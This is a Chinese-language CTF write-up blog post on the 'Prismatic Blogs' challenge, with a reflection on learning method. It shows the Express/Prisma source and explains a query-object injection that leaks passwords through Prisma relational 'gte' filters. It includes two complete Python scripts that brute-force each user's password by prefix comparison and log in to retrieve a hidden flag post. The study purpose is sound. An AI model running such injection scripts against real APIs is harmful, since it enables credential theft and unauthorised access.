于新题中悟道

OneZ3r0 Lv3

前言

最近没什么小比赛(大比赛根本看不了),所以基本上就是在看buu和找一些国外的比赛

虽然能做出来的题目太少了,但是接触到的知识还是有的,也是借题学习吧。好好总结,好好复现✊

感觉这题出得挺新的,也学到了很多点,故心血来潮写写题目总结(平时没有专门写wp的习惯,很大一部分原因是想要保证质量非常耗费精力,所以基本上是随缘😂)

Prismatic Blogs

Here are API endpoints for a blog website.

Here is the API here (已失效)

Author: White

题目附件

首先这题非常新,确实不熟悉,云里雾里的不知道想考啥(我太菜),等比赛结束看了其它师傅的wp才慢慢懂了些。

但这篇wp并没有详细地解释这道题涉及到的知识及原理,故我在此承前人之慧,做些拙劣的学习和补充。也想借此机会,说说自己对CTF/网络安全学习的一点理解。

道术一统

理工科,无非就是 “术”,也就是 技术,人们往往执着于追求技术的精进

却常常忽视了与之对应的 “道”,或者说 思维

由此引发开来,中国古代的”道“和”术“,不正如西方所言之 “哲学”“科学” ?

早在古希腊时代,亚里士多德就说过,知识是一个统一的整体,科学知识是追求智慧(哲学)的一种方式。科学和哲学本身就密不可分,科学研究在一定程度上是哲学理念在物理世界的实践,科学本身也蕴含着哲学价值。

而如今”道“这一面却常被我们所抛弃,确实不该……

一个人要想改变,首先必须从思维上改变,思维指导行动

也是这道题目让我对知识学习有了一个新的认识

  1. 首先这种**“新”**题目(如果你搜不到相关的vul,或者搜索能力不够),你需要做的就是去查阅对应application的 官方文档
  1. 一定要审计清楚代码,即使是陌生的语言,也要借此机会熟悉其语法和逻辑,才有可能找到vul的点
  1. 陌生的题目是大有脾益的,很好地模拟在未来真实场景下作为安全师你所需要面对的未知,以及终身学习的能力,而不是靠一味的刷题和旧的vul

题目源码

好了前面废话了这么多,进入正题吧

Folding 源码描述: 点击查看

首先在package.json我们可以得知

1
2
3
4
5
6
7
8
9
10
11
12
{
"name": "blog-api",
"version": "1.0.0",
"prisma": {
"seed": "node seed.js"
},
"dependencies": {
"@prisma/client": "^6.1.0",
"express": "^4.21.2",
"prisma": "^6.1.0"
}
}

这是node.js搭建的一个blog-api接口,其中它使用了express和prisma,而prisma正是我们所陌生的

其次是seed.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import { PrismaClient } from "@prisma/client";

const prisma = new PrismaClient();

const FLAG = process.env.FLAG || "uoftctf{FAKEFLAGFAKEFLAG}"

function generateString(length) {
const characters ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
const charactersLength = characters.length;
for ( let i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}

return result;
}

const USERS = [
{
name: "White",
password: generateString(Math.floor(Math.random()*10)+15),
},
{
name: "Bob",
password: generateString(Math.floor(Math.random()*10)+15),
},
{
name: "Tommy",
password: generateString(Math.floor(Math.random()*10)+15),
},
{
name: "Sam",
password: generateString(Math.floor(Math.random()*10)+15),
},
];

const NUM_USERS = USERS.length;

// all chatGPT generated cause im lazy
const POSTS = [
{
title: `Why Cybersecurity is Everyone's Responsibility`,
body: `In today's digital age, cybersecurity isn't just an IT concern—it's everyone's responsibility. From clicking suspicious links to using weak passwords, small mistakes can lead to big vulnerabilities. Simple habits like enabling two-factor authentication, updating software, and being mindful of phishing emails can protect not just yourself but your entire organization. Cybersecurity starts with awareness—how are you contributing to a safer digital world?`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `Boosting Productivity with Time Blocking`,
body: `Struggling to get things done? Time blocking might be your answer. By dividing your day into focused chunks of work, you can minimize distractions and maximize efficiency. Start by identifying your most important tasks, assign specific time slots, and stick to them. Bonus tip: leave buffer time for unexpected interruptions. Time blocking isn’t just about scheduling—it’s about creating space for what truly matters.`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `3 Easy Tips to Save Energy at Home`,
body: `Reducing your energy footprint doesn’t have to be complicated. Start small:

Switch to LED bulbs—they last longer and use less power.
Unplug electronics when not in use—they still draw power even when off.
Use a programmable thermostat to optimize heating and cooling.
These simple changes save money and help the planet—win-win!`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `How to Start Your Fitness Journey Today`,
body: `Getting fit can feel overwhelming, but it doesn’t have to be. Start small: commit to a 10-minute walk daily or try a beginner-friendly workout video. Focus on consistency over intensity. Remember, progress takes time, so celebrate small wins along the way. Your future self will thank you for taking that first step today!`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `The Magic of Morning Routines`,
body: `What do successful people have in common? A solid morning routine. Whether it’s journaling, meditating, or a quick workout, starting your day intentionally sets the tone for productivity and positivity. Don’t overthink it—pick one activity that energizes you and stick with it. Mornings are your power hour; how will you use yours?`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `5 Quick Ways to Declutter Your Space`,
body: `A cluttered space can lead to a cluttered mind. Here’s how to simplify:

Apply the “one in, one out” rule for new purchases.
Dedicate 10 minutes a day to tidying up.
Donate items you haven’t used in a year.
Invest in smart storage solutions.
Remember: less is more.
Decluttering isn’t just about cleaning—it’s about creating a space that inspires calm and focus.`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `Why Soft Skills Are the Secret to Career Growth`,
body: `Technical skills may get your foot in the door, but soft skills will take you further. Communication, adaptability, and emotional intelligence are increasingly valued in today’s workplace. Why? Because they foster collaboration and help you navigate challenges effectively. Want to stand out in your career? Work on your soft skills—they’re just as crucial as hard ones.`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `3 Reasons You Should Start Journaling`,
body: `Feeling overwhelmed? Journaling might be the outlet you need. It helps you:

Clarify your thoughts and emotions.
Track personal growth and progress.
Spark creativity by putting ideas to paper.
You don’t need fancy notebooks or hours of time—just a few minutes a day can make a big difference. Start writing and see where it takes you!`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `How to Beat Procrastination for Good`,
body: `Procrastination affects us all, but overcoming it is possible. Start by breaking tasks into smaller, manageable chunks. Use techniques like the Pomodoro timer to stay focused, and reward yourself for completing milestones. Most importantly, don’t aim for perfection—progress is what counts. The best time to start? Right now.`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `The Future of Remote Work`,
body: `The shift to remote work has changed the way we view the workplace. Flexibility and work-life balance are now top priorities for employees, while companies are investing in tools to keep teams connected. But with this freedom comes challenges—like maintaining productivity and avoiding burnout. The future of work is hybrid, but how can we make it truly sustainable for everyone?`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: true
},
{
title: `The Flag`,
body: `This is a secret blog I am still working on. The secret keyword for this blog is ${FLAG}`,
authorId: Math.floor(Math.random()*NUM_USERS)+1,
published: false
}
];

(async () => {
await prisma.user.createMany({data: USERS});
await prisma.post.createMany({data: POSTS});
})();

乍一看,seed.js是用来生成密码的,而且没办法通过计算得到密码

然后是schema.prisma,描述数据库结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
datasource db {
provider = "sqlite"
url = "file:./database.db"
}

generator client {
provider = "prisma-client-js"
}

model User {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
name String @unique
password String
posts Post[]
}

model Post {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
published Boolean @default(false)
title String
body String
author User @relation(fields: [authorId], references: [id])
authorId Int
}

最后是index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import express from "express";
import { PrismaClient } from "@prisma/client";

const app = express();
app.use(express.json())

const prisma = new PrismaClient();

const PORT = 3000;

app.get(
"/api/posts",
async (req, res) => {
try {
let query = req.query; // query直接等于我们查询的req了
query.published = true; // 这意味着我们只能查询已发表的post
let posts = await prisma.post.findMany({where: query}); // 这里是sink的点
res.json({success: true, posts})
} catch (error) {
res.json({ success: false, error });
}
}
);

app.post(
"/api/login",
async (req, res) => {
try {
let {name, password} = req.body;
let user = await prisma.user.findUnique({where:{
name: name
},
include:{
posts: true
}
});
if (user.password === password) {
res.json({success: true, posts: user.posts});
}
else {
res.json({success: false});
}
} catch (error) {
res.json({success: false, error});
}
}
)

app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});

解题要点

我们审计代码

seed.js里面,可知我们的flag是在一篇未发布的文章里面

1
2
3
4
5
6
7
8
9
10
const FLAG = process.env.FLAG || "uoftctf{FAKEFLAGFAKEFLAG}"

···

{
title: `The Flag`,
body: `This is a secret blog I am still working on. The secret keyword for this blog is ${FLAG}`,
authorId: Math.floor(Math.random()*NUM_USERS)+1, // 随机的一个用户
published: false
}

也就是说,我们只要能看到这篇未发布的文章就能拿到flag,那怎么才能看到未发布的文章呢?

index.js里面,我们有一个查询文章的接口,但是我们被query.published = true;限制了

1
2
3
4
5
6
7
8
9
10
11
12
13
app.get(
"/api/posts",
async (req, res) => {
try {
let query = req.query; // query直接等于我们查询的req了
query.published = true; // 这意味着我们只能查询已发表的post
let posts = await prisma.post.findMany({where: query}); // 这里是sink的点
res.json({success: true, posts})
} catch (error) {
res.json({ success: false, error });
}
}
);

而在登录的逻辑里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app.post(
"/api/login",
async (req, res) => {
try {
let {name, password} = req.body;
let user = await prisma.user.findUnique({where:{
name: name
},
include:{
posts: true
}
});
if (user.password === password) {
res.json({success: true, posts: user.posts});
} // 如果登录成功,我们能看到当前登录的用户的所有文章,没有对是否发布进行区分
else {
res.json({success: false});
}
} catch (error) {
res.json({success: false, error});
}
}
)

那么题目的意图就是让我们去登录了,只有这样才能看到flag,而seed.js里面生成文章的时候flag对应的文章作者是随机的,这也就说明我们4个用户都必须登录进去,去检查有没有flag

而这也就隐含着密码其实我们是可以通过某种方式获取的(不然这题就真不知道怎么做了),但穷举爆破是非常不现实的,思路就在这里卡住了

在赛后参考了WP后,我才知道,let query = req.query;let posts = await prisma.post.findMany({where: query});就是漏洞点,系统对用户输入的查询条件不做任何约束,直接查,这也是sql注入的一种!

知识其实都知道,换了皮就忘了本质,看来做题还不够灵活,对知识理解还不够深刻

那么接下来就是想办法利用这个sink,在询问了ChatGPT之后,它提示我们可以尝试提交请求查询

1
GET /api/posts?authorId=1

然而返回的是{"success":false,"error":{"name":"PrismaClientValidationError","clientVersion":"6.1.0"}}

复现的时候才搞懂,真的一定要去查 官方文档

在node.js中?authorId=1,这种请求的 req.query 解析为:

JavaScript的URL传参解析

?authorId=1属于简单键值对,解析为

{
authorId: ‘1’ // 这里实际上是解析成了字符串类型
}

?author[name]=user(后文会提到)则为嵌套结构,查询字符串可以解析为如下

const query = {
author: {
name: ‘user’
}
};

而我们的schema.prisma中规定了模型元素的数据类型

1
2
3
4
5
6
7
8
9
10
model Post {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
published Boolean @default(false)
title String
body String
author User @relation(fields: [authorId], references: [id])
authorId Int // !! Int类型
}

所以报错了,接下来在了解了查询方式后我们可以构造出正确的查询请求

由于prisma.schema中密码是直接存储在user下面的

1
2
3
4
5
6
7
model User {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
name String @unique
password String // 这意味着我们可以查询密码
posts Post[]
}

这里给出官方的exp(comment generated by ChatGPT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests  # 导入 requests 模块,用于发送 HTTP 请求

BASE_URL = "http://localhost:3000" # 目标服务器的基础 URL,假设服务在本地端口 3000 上运行
USERS = ["White", "Bob", "Tommy", "Sam"] # 要攻击的用户名列表
ALPH = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # 用于枚举密码的字符集

def checkPass(user, password): # 定义检查密码的方法,通过枚举字符尝试获取密码
res = requests.get(f'{BASE_URL}/api/posts?author[name]={user}&author[password][gte]={password}').json()
# 发送 GET 请求,构造查询参数,利用 NoSQL 注入,尝试匹配用户名的密码
if len(res['posts']) > 0: # 如果返回的帖子数量大于 0,则说明当前前缀是正确的
return True # 匹配成功,返回 True
return False # 匹配失败,返回 False

def login(user, password): # 定义登录方法,使用用户和密码进行登录
res = requests.post(f'{BASE_URL}/api/login', json={"name":user, "password":password}).json()
# 发送 POST 请求尝试登录,提交用户名和密码作为请求体
if res["success"] == True: # 如果登录成功
return True, res # 返回成功标志和响应内容
else:
return False, None # 登录失败,返回 False 和 None

# can make this more efficient with binseach
# 这里可以使用二分查找使爆破过程更高效
def getPosts(user): # 获取用户的帖子,尝试枚举出密码
p = "" # 初始化密码为空字符串
while True: # 无限循环,直到找到正确密码
found = False # 标志是否找到匹配的字符
for ind, i in enumerate(ALPH): # 枚举字符集 ALPH 中的所有字符
if not checkPass(user, p + i): # 如果当前字符不匹配用户密码前缀
found = True # 标志找到不匹配的字符
break # 退出当前字符的枚举循环
if found: # 如果找到不匹配的字符
p += ALPH[ind-1] # 添加前一个字符到密码中
else:
p += ALPH[-1] # 否则,添加字符集中的最后一个字符
if len(p) >= 15 and (res := login(user, p))[0]:
# 如果密码长度大于等于 15 且可以使用当前密码登录成功
return res[1] # 返回成功登录后的响应内容

for user in USERS: # 遍历所有用户
res = str(getPosts(user)) # 获取当前用户的帖子
if "uoftctf" in res: # 如果响应中包含 flag(flag 以 uoftctf 开头)
print(res) # 打印出 flag
break # 结束程序

可以看见{BASE_URL}/api/posts?author[name]={user}&author[password][gte]={password}

这条查询请求会被解析为这样的prisma查询语句

1
2
3
4
5
6
7
8
prisma.post.findMany({
where: {
author: {
name: { equals: user }, // 查询条件:author.name 等于用户输入的值 {user}
password: { gte: password } // 查询条件:author.password 大于或等于 {password}
}
}
})

原理解析

官方的脚本的主要利用方式是通过字符串的比较 gte(greater than equal?)总之是大于等于

比如当前White的用户密码为3pCtWJfabwPlo6qNgGS1P4

注意到我们的枚举字符集ALPH = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"需要按照ASCII码从小到大的顺序来排列

官方的脚本是通过逐个枚举来实现的,直到找到那个**“转折点”**的字符的前一个,就是前缀字符

这里我也想说说二分查找,找到相对最小的且满足条件的字符,也就是密码的前缀字符

二分左端:需要posts有内容

1
2
3
4
5
6
7
GET http://localhost:1234/api/posts?author[name]=White&author[password][gte]=0

返回
{
"success": true,
"posts": [······有内容] // 这种情况说明密码大于等于0
}

二分右端:需要posts无内容

1
2
3
4
5
6
7
GET http://localhost:1234/api/posts?author[name]=White&author[password][gte]=z

返回
{
"success": true,
"posts": [] // 这种情况说明密码不大于等于z,也就是小于z
}

接下来就判断mid=(left+right)/2的索引对应的字符,查找结果posts是否有内容,来更改二分查找的左右端,重复这样的步骤直到左右端重合,那么此时就找到了密码的前缀字符(如果笔者没能讲清楚,可以搜索 “二分查找算法” 自行加深理解)

在上面的两个例子中,我们接下来就判断处于0z中间位置的那个字符,假设是U,更改请求部分为author[password][gte]=U,看是否posts有内容

如果有,那么就继续判断Uz中间位置的字符

如果没有,就判断0U中间位置的字符

在这种情况下显然是0U中间位置的字符,因为密码3pCtWJfabwPlo6qNgGS1P4的前缀字符3处于区间0U之间

所以我们可以逐步按照前缀通过 sql盲注 的方式,爆破出整个密码,最后逐个用户登录即可

这里附上自己参考wp后写的用二分查找的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests  # 导入 requests 模块,用于发送 HTTP 请求

BASE_URL = "http://localhost:1234" # 目标服务器的基础 URL,假设服务在本地端口 3000 上运行
USERS = ["White", "Bob", "Tommy", "Sam"] # 要攻击的用户名列表
ALPH = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # 用于枚举密码的字符集


def checkPass(user, password):
"""通过 NoSQL 注入检查用户名的密码前缀是否匹配"""
res = requests.get(f'{BASE_URL}/api/posts?author[name]={user}&author[password][gte]={password}').json()
if len(res['posts']) > 0:
return True # 匹配成功
return False # 匹配失败


def login(user, password):
"""通过用户名和密码尝试登录"""
res = requests.post(f'{BASE_URL}/api/login', json={"name": user, "password": password}).json()
if res["success"] == True:
return True, res # 登录成功
else:
return False, None # 登录失败


def binarySearch(user, prefix, low, high):
"""二分查找来确定密码中的下一个字符"""
while low <= high:
mid = (low + high) // 2 # 找到字符集中间位置
test_char = ALPH[mid] # 中间字符
if checkPass(user, prefix + test_char): # 检查当前字符是否匹配
low = mid + 1 # 如果匹配,继续查找右半边
else:
high = mid - 1 # 如果不匹配,查找左半边
return high # 返回匹配到的字符索引


def getPosts(user):
"""通过二分查找枚举密码,并获取用户帖子"""
p = "" # 初始化密码为空字符串
while True:
char_index = binarySearch(user, p, 0, len(ALPH) - 1) # 通过二分查找获取字符索引
p += ALPH[char_index] # 将字符加入到密码中
# print(p)
if len(p) >= 15 and login(user, p)[0]:
# 如果密码长度大于等于 15 且登录成功
print(f"{user}: {p}")
return login(user, p)[1] # 返回成功登录后的响应内容


for user in USERS:
res = str(getPosts(user)) # 获取当前用户的帖子
if "uoftctf" in res: # 如果响应中包含 flag(flag 以 uoftctf 开头)
print(res) # 打印出 flag
break # 结束程序

总结

总而言之这题还是学到很多的,尤其是感觉自己的思维得到了提升,希望在以后的学习中能循序渐进,逐步提升!

  • 标题: 于新题中悟道
  • 作者: OneZ3r0
  • 创建于 : 2025-01-14 17:36:44
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/01/14/prismatic-blog-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。